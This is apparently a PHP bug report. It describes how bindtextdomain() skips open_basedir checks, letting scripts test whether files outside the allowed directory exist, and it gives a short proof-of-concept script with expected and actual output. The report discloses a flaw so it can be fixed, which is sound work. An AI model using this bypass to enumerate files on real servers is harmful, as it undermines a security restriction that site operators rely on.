Description:
------------
It is possible to test for files and directories existence by using the $category parameter of the bindtextdomain() PHP function, thus bypassing open_basedir restriction.

A potential attacker could enumerate files with the help of a dictionary.

The root cause seems to be that this function does not enforce checks for open_basedir restrictions.
Test script:
---------------
<?php
/* 
Assuming:

* web root in /var/www/html/
* php.ini with open_basedir = /var/www/html/restricted

mkdir /var/www/html/restricted
echo "test" > /var/www/html/test.txt

The current file is located in /var/www/html/restricted/test.php
*/

echo bindtextdomain("test", "../test.txt");
?>
Expected result:
----------------
Warning: bindtextdomain(): open_basedir restriction in effect. File(/var/www/html/test.txt) is not within the allowed path(s): (/var/www/html/restricted) in /var/www/html/restricted/test.php on line 14
Actual result:
--------------
/var/www/html/test.txt